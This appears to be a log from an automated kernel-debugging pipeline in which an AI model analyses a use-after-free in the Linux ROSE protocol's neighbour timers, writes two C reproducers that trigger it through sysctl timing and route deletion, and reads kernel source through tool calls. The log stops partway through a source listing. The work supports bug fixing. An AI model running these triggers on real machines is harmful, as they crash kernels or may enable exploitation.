  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

Current Strategy: The bug is a Use-After-Free (UAF) in the ROSE protocol subsystem, specifically when handling timers for a `rose_neigh` (neighbour) object. 

### Root Cause Analysis
1. **Neighbour Creation & Timers**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created. It has two timers: `t0timer` and `ftimer`.
2. **Socket Connection**: When a ROSE socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame via `rose_transmit_link()`, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and calls `rose_remove_neigh()`, which explicitly stops the `t0timer` (`timer_delete_sync`). It then drops its reference to the neighbour. However, the socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` is called. Because the socket is still in the connecting state (`ROSE_STATE_1`), it sends a `ROSE_CLEAR_REQUEST` frame. This again calls `rose_transmit_link()`, which **restarts the `t0timer`** because it was previously stopped. `rose_release()` then starts the socket's `t3timer` and transitions to `ROSE_STATE_2`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If `t3timer` expires *before* `t0timer`, the socket's timer handler (`rose_timer_expiry`) drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Later, when `t0timer` expires, its handler (`rose_t0timer_expiry`) accesses the already freed `rose_neigh` object to send a restart request, causing the UAF write at `neigh->ax25` (offset 24).

### Reproduction Strategy
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` expires before `t0timer`.
1. Create an AX.25 device (`ax0`) using the `mkiss` line discipline and bring it up.
2. Bring up the default ROSE device (`rose0`) and assign it a hardware address.
3. Set `/proc/sys/net/rose/clear_request_timeout` to `1000` (1 second) and `restart_request_timeout` to `2000` (2 seconds).
4. Create a ROSE socket and `bind()` it to the `rose0` address.
5. Add a ROSE route pointing to `ax0`.
6. Call `connect()` on the socket in non-blocking mode (`O_NONBLOCK`).
7. Immediately delete the route.
8. `close()` the socket.
9. Wait for 3 seconds. The `t3timer` will free the neighbour after 1 second, and the `t0timer` will trigger the UAF after 2 seconds.

### Minimal C Reproducer
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer expires before t0timer
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 1000);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 2000);

    // 5. Create ROSE socket
    int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);

    // 6. Bind to rose0 address
    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;
    bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 7. Add ROSE route
    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");
    ioctl(rsock, SIOCADDRT, &route);

    // 8. Connect to the route (non-blocking)
    fcntl(rsock, F_SETFL, O_NONBLOCK);
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 2;
    saddr.srose_ndigis = 0;
    connect(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 9. Delete the route (stops t0timer, drops routing refcount)
    ioctl(rsock, SIOCDELRT, &route);

    // 10. Close the socket (restarts t0timer, starts t3timer)
    close(rsock);

    // 11. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(3);

    return 0;
}
```
Feedback: The environment probe was successful. The required devices and sockets (AF_ROSE, /dev/ptmx with N_AX25) were successfully created and configured. The environment is ready. Please proceed to generate the full reproducer in the next iteration to trigger the KASAN: slab-use-after-free in rose_send_frame.

Reply:
An excellent analysis of the KASAN report confirms the race condition between the `t3timer` and `t0timer` in the ROSE subsystem. 

### Root Cause Analysis
1. **Neighbour Creation**: When a ROSE route is added (`SIOCADDRT`), a `rose_neigh` object is created.
2. **Connection & Timer Start**: When a socket connects to this route, it holds a reference to the `rose_neigh` object. The connection process sends a `ROSE_CALL_REQUEST` frame, which starts the `t0timer` on the neighbour.
3. **Route Deletion**: If the route is deleted (`SIOCDELRT`), `rose_del_node()` removes the neighbour from the routing list and explicitly stops the `t0timer` (`timer_delete_sync`). The socket still holds a reference, so the neighbour is not freed yet.
4. **Socket Closure**: When the socket is closed, `rose_release()` sends a `ROSE_CLEAR_REQUEST` frame. This calls `rose_transmit_link()`, which notices that the `t0timer` is not running (because it was stopped by the route deletion) and **restarts the `t0timer`**. `rose_release()` then starts the socket's `t3timer`.
5. **Timer Expiration Race**: 
   - The `t3timer` timeout is controlled by `sysctl_rose_clear_request_timeout`.
   - The `t0timer` timeout is controlled by `sysctl_rose_restart_request_timeout`.
   - If both timers are configured to expire at the same time, they will be queued in the timer wheel together. The timer wheel unlinks both timers and executes their callbacks sequentially.
   - The `t3timer` callback drops the final reference to the neighbour, freeing the `rose_neigh` object.
   - Immediately after, the `t0timer` callback accesses the already freed `rose_neigh` object to send a restart request, causing the KASAN Use-After-Free.

### Reproducer
We can reliably trigger this by manipulating the sysctl timeouts to guarantee that `t3timer` and `t0timer` expire simultaneously. We run the sequence in a loop to ensure the race condition is hit.

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer and t0timer expire at the same time
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 100);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 100);

    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;

    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");

    // 5. Trigger the race condition
    for (int i = 0; i < 10; i++) {
        int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
        bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));
        ioctl(rsock, SIOCADDRT, &route);
        fcntl(rsock, F_SETFL, O_NONBLOCK);
        
        struct sockaddr_rose dest_addr;
        memset(&dest_addr, 0, sizeof(dest_addr));
        dest_addr.srose_family = AF_ROSE;
        dest_addr.srose_addr.rose_addr[0] = 2;
        dest_addr.srose_ndigis = 0;
        
        // Connect to the route (starts t0timer)
        connect(rsock, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
        
        // Delete the route (stops t0timer, drops routing refcount)
        ioctl(rsock, SIOCDELRT, &route);
        
        // Close the socket (restarts t0timer, starts t3timer)
        close(rsock);
    }

    // 6. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(1);

    return 0;
}
```

113/5 2026/05/26 11:45 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12048
							output: 24
							thoughts: 303
						

Thoughts:
**My Analysis of a Potential ROSE/AX.25 Vulnerability**

Okay, so we've got a setup, a probe, and a plan. We're looking to exploit a vulnerability, and here's the current strategy: first, we bring up an AX.25 device, `ax0`, with `mkiss`. Then, we get the default ROSE device, `rose0`, up and running, giving it a hardware address. The plan then dictates messing with some ROSE sysctl values, setting `clear_request_timeout` and `restart_request_timeout`. We'll set them to `1000` and `2000`, respectively. Next, we make a ROSE socket and `bind` it to `rose0`. After that, we add a ROSE route that points to `ax0`. This is where it gets interesting – we call `connect()` on the socket, but in non-blocking mode. *Then*, immediately, we're deleting that route, and we `close()` the socket. The final step is to wait for 3 seconds. The theory is that this should allow the `t3timer` to free the neighbor after one second, and the `t0timer` to trigger the UAF after two seconds.

But hold on a second. Aren't those `/proc/sys/net/rose` sysctl values in *tenths* of a second, or milliseconds? I need to clarify that because that fundamentally changes the timing. Better double-check. I could check the source file `net/rose/sysctl_net_rose.c`, but there's a better way to ensure I get this right. I'm going to search using `codesearch-definition-source` or `grepper` and double-check those sysctl values to ensure I fully understand the units being used.



114/5 2026/05/26 11:45 tool grepper
0m Args:
map[Expression:sysctl_rose_clear_request_timeout]

Results:
map[Output:include/net/rose.h=174=extern int  sysctl_rose_reset_request_timeout;
include/net/rose.h:175:extern int  sysctl_rose_clear_request_timeout;
include/net/rose.h-176-extern int  sysctl_rose_no_activity_timeout;
--
net/rose/af_rose.c=51=int sysctl_rose_reset_request_timeout   = ROSE_DEFAULT_T2;
net/rose/af_rose.c:52:int sysctl_rose_clear_request_timeout   = ROSE_DEFAULT_T3;
net/rose/af_rose.c-53-int sysctl_rose_no_activity_timeout     = ROSE_DEFAULT_IDLE;
--
net/rose/af_rose.c=546=static int rose_create(struct net *net, struct socket *sock, int protocol,
--
net/rose/af_rose.c-579-	rose->t2   = msecs_to_jiffies(sysctl_rose_reset_request_timeout);
net/rose/af_rose.c:580:	rose->t3   = msecs_to_jiffies(sysctl_rose_clear_request_timeout);
net/rose/af_rose.c-581-	rose->hb   = msecs_to_jiffies(sysctl_rose_ack_hold_back_timeout);
--
net/rose/sysctl_net_rose.c=24=static struct ctl_table rose_table[] = {
--
net/rose/sysctl_net_rose.c-53-		.procname	= "clear_request_timeout",
net/rose/sysctl_net_rose.c:54:		.data		= &sysctl_rose_clear_request_timeout,
net/rose/sysctl_net_rose.c-55-		.maxlen		= sizeof(int),
]

115/5 2026/05/26 11:45 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 13250
							output: 24
							thoughts: 36
						

Thoughts:
Okay, here's my interpretation of those thoughts, tailored for an expert audience:

**Analyzing Sysctl and Timeout Parameters**

Alright, so the core of understanding these sysctl values hinges on recognizing that they're likely represented in milliseconds. I'm inferring this because the code mentions `msecs_to_jiffies` which heavily implies a millisecond timescale. That's a crucial piece of the puzzle. Now, let me just double-check that assumption, especially in the context of something like `restart_request_timeout`. It's always best to be precise, rather than assume a global convention, right? The precise unit has significant implications for how we'd interpret and tune any associated system behavior. I want to confirm that msec is what is meant.



116/5 2026/05/26 11:45 tool grepper
0m Args:
map[Expression:sysctl_rose_restart_request_timeout]

Results:
map[Output:include/net/rose.h=171=extern ax25_address rose_callsign;
include/net/rose.h:172:extern int  sysctl_rose_restart_request_timeout;
include/net/rose.h-173-extern int  sysctl_rose_call_request_timeout;
--
net/rose/af_rose.c=47=static int rose_ndevs = 10;
net/rose/af_rose.c-48-
net/rose/af_rose.c:49:int sysctl_rose_restart_request_timeout = ROSE_DEFAULT_T0;
net/rose/af_rose.c-50-int sysctl_rose_call_request_timeout    = ROSE_DEFAULT_T1;
--
net/rose/rose_link.c=44=static void rose_start_t0timer(struct rose_neigh *neigh)
--
net/rose/rose_link.c-49-	neigh->t0timer.expires  =
net/rose/rose_link.c:50:		jiffies + msecs_to_jiffies(sysctl_rose_restart_request_timeout);
net/rose/rose_link.c-51-
--
net/rose/sysctl_net_rose.c=24=static struct ctl_table rose_table[] = {
--
net/rose/sysctl_net_rose.c-26-		.procname	= "restart_request_timeout",
net/rose/sysctl_net_rose.c:27:		.data		= &sysctl_rose_restart_request_timeout,
net/rose/sysctl_net_rose.c-28-		.maxlen		= sizeof(int),
]

117/5 2026/05/26 11:45 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 13907
							output: 44
							thoughts: 103
						

Thoughts:
**Understanding the `rose_route_struct` Timeouts**

Okay, so I'm dealing with these timeout values, and it's crystal clear they're using milliseconds. That makes things straightforward. I can see now that setting `/proc/sys/net/rose/clear_request_timeout` to 1000 really translates to a 1-second timeout. Similarly, `/proc/sys/net/rose/restart_request_timeout` at 2000 translates to 2 seconds. Simple enough. Now, I need to refresh my memory on the specifics of the `rose_route_struct` definition. Let me dig into that...



118/5 2026/05/26 11:45 tool codesearch-definition-source
0m Args:
map[ContextFile:include/uapi/linux/rose.h IncludeLines:true Name:rose_route_struct]

Results:
map[SourceCode:  66:	struct rose_route_struct {
  67:		rose_address	address;
  68:		unsigned short	mask;
  69:		ax25_address	neighbour;
  70:		char		device[16];
  71:		unsigned char	ndigis;
  72:		ax25_address	digipeaters[AX25_MAX_DIGIS];
  73:	};
 SourceFile:include/uapi/linux/rose.h]

119/5 2026/05/26 11:45 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 14335
							output: 43
							thoughts: 315
						

Thoughts:
**Analyzing the `rose_route_struct` and AX.25 Routing**

Okay, so I'm looking at this `rose_route_struct`. It has the expected members: `ndigis` and the `digipeaters`, which is standard. In this minimal C reproducer, I see they're setting up a `rose_route_struct` and populating it. Now, it looks like they're setting the first byte of the Rose address to 2 and then setting the mask to 5. Okay, that's fine. Then they're populating the neighbour with an AX.25 callsign, shifted left by 1 bit, as expected. They're also setting the device name. And finally, they're using `ioctl(rsock, SIOCADDRT, &route)` to add the route.

But hold on a second... `route.mask = 5;`... is that even a *valid* mask value? I'm pretty sure it's the right place for it, but I need to be sure. Let me go check the `rose_add_node` function in `net/rose/rose_route.c`. I need to verify how that mask is interpreted. I'm going to look for any logic related to validating or interpreting the `mask` field. That will give me a proper answer to its validity.



120/5 2026/05/26 11:45 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_add_node]

Results:
map[SourceCode:  47:	/*
  48:	 *	Add a new route to a node, and in the process add the node and the
  49:	 *	neighbour if it is new.
  50:	 */
  51:	static int __must_check rose_add_node(struct rose_route_struct *rose_route,
  52:		struct net_device *dev)
  53:	{
  54:		struct rose_node  *rose_node, *rose_tmpn, *rose_tmpp;
  55:		struct rose_neigh *rose_neigh;
  56:		int i, res = 0;
  57:	
  58:		spin_lock_bh(&rose_node_list_lock);
  59:		spin_lock_bh(&rose_neigh_list_lock);
  60:	
  61:		rose_node = rose_node_list;
  62:		while (rose_node != NULL) {
  63:			if ((rose_node->mask == rose_route->mask) &&
  64:			    (rosecmpm(&rose_route->address, &rose_node->address,
  65:				      rose_route->mask) == 0))
  66:				break;
  67:			rose_node = rose_node->next;
  68:		}
  69:	
  70:		if (rose_node != NULL && rose_node->loopback) {
  71:			res = -EINVAL;
  72:			goto out;
  73:		}
  74:	
  75:		rose_neigh = rose_neigh_list;
  76:		while (rose_neigh != NULL) {
  77:			if (ax25cmp(&rose_route->neighbour,
  78:				    &rose_neigh->callsign) == 0 &&
  79:			    rose_neigh->dev == dev)
  80:				break;
  81:			rose_neigh = rose_neigh->next;
  82:		}
  83:	
  84:		if (rose_neigh == NULL) {
  85:			rose_neigh = kmalloc_obj(*rose_neigh, GFP_ATOMIC);
  86:			if (rose_neigh == NULL) {
  87:				res = -ENOMEM;
  88:				goto out;
  89:			}
  90:	
  91:			rose_neigh->callsign  = rose_route->neighbour;
  92:			rose_neigh->digipeat  = NULL;
  93:			rose_neigh->ax25      = NULL;
  94:			rose_neigh->dev       = dev;
  95:			rose_neigh->count     = 0;
  96:			rose_neigh->dce_mode  = 0;
  97:			rose_neigh->loopback  = 0;
  98:			rose_neigh->number    = rose_neigh_no++;
  99:			rose_neigh->restarted = 0;
 100:			refcount_set(&rose_neigh->use, 1);
 101:	
 102:			skb_queue_head_init(&rose_neigh->queue);
 103:	
 104:			timer_setup(&rose_neigh->ftimer, NULL, 0);
 105:			timer_setup(&rose_neigh->t0timer, NULL, 0);
 106:	
 107:			if (rose_route->ndigis != 0) {
 108:				rose_neigh->digipeat =
 109:					kmalloc_obj(ax25_digi, GFP_ATOMIC);
 110:				if (rose_neigh->digipeat == NULL) {
 111:					kfree(rose_neigh);
 112:					res = -ENOMEM;
 113:					goto out;
 114:				}
 115:	
 116:				rose_neigh->digipeat->ndigi      = rose_route->ndigis;
 117:				rose_neigh->digipeat->lastrepeat = -1;
 118:	
 119:				for (i = 0; i < rose_route->ndigis; i++) {
 120:					rose_neigh->digipeat->calls[i]    =
 121:						rose_route->digipeaters[i];
 122:					rose_neigh->digipeat->repeated[i] = 0;
 123:				}
 124:			}
 125:	
 126:			rose_neigh->next = rose_neigh_list;
 127:			rose_neigh_list  = rose_neigh;
 128:		}
 129:	
 130:		/*
 131:		 * This is a new node to be inserted into the list. Find where it needs
 132:		 * to be inserted into the list, and insert it. We want to be sure
 133:		 * to order the list in descending order of mask size to ensure that
 134:		 * later when we are searching this list the first match will be the
 135:		 * best match.
 136:		 */
 137:		if (rose_node == NULL) {
 138:			rose_tmpn = rose_node_list;
 139:			rose_tmpp = NULL;
 140:	
 141:			while (rose_tmpn != NULL) {
 142:				if (rose_tmpn->mask > rose_route->mask) {
 143:					rose_tmpp = rose_tmpn;
 144:					rose_tmpn = rose_tmpn->next;
 145:				} else {
 146:					break;
 147:				}
 148:			}
 149:	
 150:			/* create new node */
 151:			rose_node = kmalloc_obj(*rose_node, GFP_ATOMIC);
 152:			if (rose_node == NULL) {
 153:				res = -ENOMEM;
 154:				goto out;
 155:			}
 156:	
 157:			rose_node->address      = rose_route->address;
 158:			rose_node->mask         = rose_route->mask;
 159:			rose_node->count        = 1;
 160:			rose_node->loopback     = 0;
 161:			rose_node->neighbour[0] = rose_neigh;
 162:	
 163:			if (rose_tmpn == NULL) {
 164:				if (rose_tmpp == NULL) {	/* Empty list */
 165:					rose_node_list  = rose_node;
 166:					rose_node->next = NULL;
 167:				} else {
 168:					rose_tmpp->next = rose_node;
 169:					rose_node->next = NULL;
 170:				}
 171:			} else {
 172:				if (rose_tmpp == NULL) {	/* 1st node */
 173:					rose_node->next = rose_node_list;
 174:					rose_node_list  = rose_node;
 175:				} else {
 176:					rose_tmpp->next = rose_node;
 177:					rose_node->next = rose_tmpn;
 178:				}
 179:			}
 180:			rose_neigh->count++;
 181:			rose_neigh_hold(rose_neigh);
 182:	
 183:			goto out;
 184:		}
 185:	
 186:		/* We have space, slot it in */
 187:		if (rose_node->count < 3) {
 188:			rose_node->neighbour[rose_node->count] = rose_neigh;
 189:			rose_node->count++;
 190:			rose_neigh->count++;
 191:			rose_neigh_hold(rose_neigh);
 192:		}
 193:	
 194:	out:
 195:		spin_unlock_bh(&rose_neigh_list_lock);
 196:		spin_unlock_bh(&rose_node_list_lock);
 197:	
 198:		return res;
 199:	}
 SourceFile:net/rose/rose_route.c]

121/5 2026/05/26 11:45 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 17238
							output: 41
							thoughts: 535
						

Thoughts:
**Analyzing the rose_route Structure and its Usage**

Okay, so I'm looking at this `rose_route.mask` and how it relates to `rose_node->mask`. Seems like `rose_route.mask` is a number of digits, up to 10. A value of `5` is perfectly valid, no issues there.

Let's double-check the definition of `rose_route_struct` just to be sure. Alright, here it is:

```c
struct rose_route_struct {
	rose_address	address;
	unsigned short	mask;
	ax25_address	neighbour;
	char		device[16];
	unsigned char	ndigis;
	ax25_address	digipeaters[AX25_MAX_DIGIS];
};
```

And remembering from the code, `AX25_MAX_DIGIS` is defined as `8`.

```c
#define AX25_MAX_DIGIS 8
```

Therefore, the size of `struct rose_route_struct` comes out to be 5 bytes (for `rose_address`) + 2 bytes (for `mask`) + 7 bytes (for `ax25_address`) + 16 bytes (for `device`) + 1 byte (for `ndigis`) + 8 * 7 bytes (for `digipeaters`) = 87 bytes total.

Now, looking at the minimal C reproducer, I see this:

```c
    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");
```

So `route.address.rose_addr[0] = 2;` makes sense, but let's just confirm what `rose_address` is.

```c
typedef struct {
	char		rose_addr[5];
} rose_address;
```

Ah, right, `rose_address` is 5 bytes. So, `route.address.rose_addr[0] = 2;` is perfectly within bounds.

Okay, now let's see what happens with `rose_connect` in `net/rose/af_rose.c`...



122/5 2026/05/26 11:45 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_connect]

Results:
map[SourceCode: 768:	static int rose_connect(struct socket *sock, struct sockaddr_unsized *uaddr, int addr_len,
 769:				int flags)
 770:	{
 771:		struct sock *sk = sock->sk;
 772:		struct rose_sock *rose = rose_sk(sk);
 773:		struct sockaddr_rose *addr = (struct sockaddr_rose *)uaddr;
 774:		unsigned char cause, diagnostic;
 775:		ax25_uid_assoc *user;
 776:		int n, err = 0;
 777:	
 778:		if (addr_len != sizeof(struct sockaddr_rose) && addr_len != sizeof(struct full_sockaddr_rose))
 779:			return -EINVAL;
 780:	
 781:		if (addr->srose_family != AF_ROSE)
 782:			return -EINVAL;
 783:	
 784:		if (addr_len == sizeof(struct sockaddr_rose) && addr->srose_ndigis > 1)
 785:			return -EINVAL;
 786:	
 787:		if ((unsigned int) addr->srose_ndigis > ROSE_MAX_DIGIS)
 788:			return -EINVAL;
 789:	
 790:		/* Source + Destination digis should not exceed ROSE_MAX_DIGIS */
 791:		if ((rose->source_ndigis + addr->srose_ndigis) > ROSE_MAX_DIGIS)
 792:			return -EINVAL;
 793:	
 794:		lock_sock(sk);
 795:	
 796:		if (sk->sk_state == TCP_ESTABLISHED && sock->state == SS_CONNECTING) {
 797:			/* Connect completed during a ERESTARTSYS event */
 798:			sock->state = SS_CONNECTED;
 799:			goto out_release;
 800:		}
 801:	
 802:		if (sk->sk_state == TCP_CLOSE && sock->state == SS_CONNECTING) {
 803:			sock->state = SS_UNCONNECTED;
 804:			err = -ECONNREFUSED;
 805:			goto out_release;
 806:		}
 807:	
 808:		if (sk->sk_state == TCP_ESTABLISHED) {
 809:			/* No reconnect on a seqpacket socket */
 810:			err = -EISCONN;
 811:			goto out_release;
 812:		}
 813:	
 814:		if (sk->sk_state == TCP_SYN_SENT) {
 815:			err = -EALREADY;
 816:			goto out_release;
 817:		}
 818:	
 819:		sk->sk_state   = TCP_CLOSE;
 820:		sock->state = SS_UNCONNECTED;
 821:	
 822:		rose->neighbour = rose_get_neigh(&addr->srose_addr, &cause,
 823:						 &diagnostic, 0);
 824:		if (!rose->neighbour) {
 825:			err = -ENETUNREACH;
 826:			goto out_release;
 827:		}
 828:	
 829:		rose->lci = rose_new_lci(rose->neighbour);
 830:		if (!rose->lci) {
 831:			err = -ENETUNREACH;
 832:			rose_neigh_put(rose->neighbour);
 833:			goto out_release;
 834:		}
 835:	
 836:		if (sock_flag(sk, SOCK_ZAPPED)) {	/* Must bind first - autobinding in this may or may not work */
 837:			struct net_device *dev;
 838:	
 839:			sock_reset_flag(sk, SOCK_ZAPPED);
 840:	
 841:			dev = rose_dev_first();
 842:			if (!dev) {
 843:				err = -ENETUNREACH;
 844:				rose_neigh_put(rose->neighbour);
 845:				goto out_release;
 846:			}
 847:	
 848:			user = ax25_findbyuid(current_euid());
 849:			if (!user) {
 850:				err = -EINVAL;
 851:				rose_neigh_put(rose->neighbour);
 852:				dev_put(dev);
 853:				goto out_release;
 854:			}
 855:	
 856:			memcpy(&rose->source_addr, dev->dev_addr, ROSE_ADDR_LEN);
 857:			rose->source_call = user->call;
 858:			rose->device      = dev;
 859:			netdev_tracker_alloc(rose->device, &rose->dev_tracker,
 860:					     GFP_KERNEL);
 861:			ax25_uid_put(user);
 862:	
 863:			rose_insert_socket(sk);		/* Finish the bind */
 864:		}
 865:		rose->dest_addr   = addr->srose_addr;
 866:		rose->dest_call   = addr->srose_call;
 867:		rose->rand        = ((long)rose & 0xFFFF) + rose->lci;
 868:		rose->dest_ndigis = addr->srose_ndigis;
 869:	
 870:		if (addr_len == sizeof(struct full_sockaddr_rose)) {
 871:			struct full_sockaddr_rose *full_addr = (struct full_sockaddr_rose *)uaddr;
 872:			for (n = 0 ; n < addr->srose_ndigis ; n++)
 873:				rose->dest_digis[n] = full_addr->srose_digis[n];
 874:		} else {
 875:			if (rose->dest_ndigis == 1) {
 876:				rose->dest_digis[0] = addr->srose_digi;
 877:			}
 878:		}
 879:	
 880:		/* Move to connecting socket, start sending Connect Requests */
 881:		sock->state   = SS_CONNECTING;
 882:		sk->sk_state     = TCP_SYN_SENT;
 883:	
 884:		rose->state = ROSE_STATE_1;
 885:	
 886:		rose_write_internal(sk, ROSE_CALL_REQUEST);
 887:		rose_start_heartbeat(sk);
 888:		rose_start_t1timer(sk);
 889:	
 890:		/* Now the loop */
 891:		if (sk->sk_state != TCP_ESTABLISHED && (flags & O_NONBLOCK)) {
 892:			err = -EINPROGRESS;
 893:			goto out_release;
 894:		}
 895:	
 896:		/*
 897:		 * A Connect Ack with Choke or timeout or failed routing will go to
 898:		 * closed.
 899:		 */
 900:		if (sk->sk_state == TCP_SYN_SENT) {
 901:			DEFINE_WAIT(wait);
 902:	
 903:			for (;;) {
 904:				prepare_to_wait(sk_sleep(sk), &wait,
 905:						TASK_INTERRUPTIBLE);
